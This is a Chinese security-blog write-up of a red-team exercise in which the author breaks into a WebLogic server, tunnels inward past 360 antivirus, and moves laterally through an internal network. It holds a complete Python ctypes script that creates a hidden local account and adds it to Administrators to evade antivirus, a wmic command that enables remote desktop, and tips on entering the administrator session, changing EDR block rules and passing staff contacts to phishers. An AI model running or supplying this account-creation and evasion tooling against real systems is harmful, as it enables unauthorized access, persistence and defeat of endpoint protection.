0x01 前言
宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好“设为星标”,否则可能就看不到了啦!
0x01 前言
某次攻防演练,404页面一顿梭哈拿下内网。
0x02 正文
演练中找到一处weblogic404报错,使用很多工具都没有利用成功,通过github找到weblogic一把梭哈利用工具,命令执行失败,随手尝试一发注入内存马,居然有返回,真是梭哈出奇迹。
用一下Github上老表的frp,给这360过了。
https://github.com/seventeenman/Forest
代理有了就开始内网大操作了。
既然权限够高。直接python编写windows-api绕过360创建用户。
import ctypes
from ctypes import wintypes
from ctypes import *
import sys
USER_PRIV_GUEST = 0
USER_PRIV_USER = 1
USER_PRIV_ADMIN = 2
UF_SCRIPT = 1
UF_NORMAL_ACCOUNT = 512
LPBYTE = POINTER(c_byte)
class USER_INFO_1(ctypes.Structure):
_fields_ = [
(
'usri1_name', wintypes.LPWSTR),
(
'usri1_password', wintypes.LPWSTR),
(
'usri1_password_age', wintypes.DWORD),
(
'usri1_priv', wintypes.DWORD),
(
'usri1_home_dir', wintypes.LPWSTR),
(
'usri1_comment', wintypes.LPWSTR),
(
'usri1_flags', wintypes.DWORD),
(
'usri1_script_path', wintypes.LPWSTR)]
class _LOCALGROUP_MEMBERS_INFO_3(ctypes.Structure):
_fields_ = [
(
'lgrmi3_domainandname', wintypes.LPWSTR)]
def adduser(username='admin1234', password='[email protected]'):
ui = USER_INFO_1()
ui.usri1_name = username
ui.usri1_password = password
ui.usri1_priv = USER_PRIV_USER
ui.usri1_home_dir = None
ui.usri1_comment = None
ui.usri1_flags = UF_SCRIPT
ui.usri1_script_path = None
a = ctypes.windll.Netapi32.NetUserAdd(None, 1, ui, None)
if a == 0:
print("tambah pengguna success : nama={} kata laluan={}".format(username,password))
else:
print('tambah pengguna pengguna ralat')
return
def addgroup(username='Test1234', groupname='Administrators'):
name = _LOCALGROUP_MEMBERS_INFO_3()
name.lgrmi3_domainandname = username
ctypes.windll.Netapi32.NetLocalGroupAddMembers.argtypes = (
wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, LPBYTE, wintypes.DWORD)
b = ctypes.windll.Netapi32.NetLocalGroupAddMembers(None, groupname,3, LPBYTE(name),1)
if b == 0:
print("Tambah ke kumpulan success : nama={} kumpulan={}".format(username,groupname))
else:
print('Tambah ke kumpulan ralat')
return
def main():
if len(sys.argv) == 1:
adduser()
addgroup()
elif len(sys.argv) == 3:
adduser(str(sys.argv[1]), str(sys.argv[2]))
addgroup(str(sys.argv[1]))
elif len(sys.argv) == 4:
adduser(str(sys.argv[1]), str(sys.argv[2]))
addgroup(str(sys.argv[1]), str(sys.argv[3]))
else:
print('usage: {} username password').format(sys.argv[1])
print('usage: {} username password groupname').format(sys.argv[1])
if __name__ == '__main__':
main()
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
上来桌面就给他360退了,创建号用户上来看一眼桌面,这位阿瑟电脑上真干净。(好像看到了qax公司得天擎,不过没有关系,关不掉可以改拦截规则)
横向找到另一台Weblogic
相同操作,拿到另一台远程桌面。
啊????这就是传说中的,密码本。
猜测打到运维机了,使用SelectMyParent切入到administrator桌面,简直辣眼睛。
临近YL结束,跟着密码本翻阅了所有机器,没有拿下靶标。
该收工了,从通讯录拿到靶标系统负责人,给钓鱼老表留个言,我就撤了。
0x03 总结
经过很多年GFYL,各地EDR也是部署相当完备,免杀绕过杀软EDR也慢慢成为家常便饭,这里也只是提供一种短小精悍得绕过思路。
0x04 往期精彩
NPS+Proxifier搭建socks5进行内网穿透
XX单位内网渗透高开低走【运气好】,别再说看完文章没学到思路了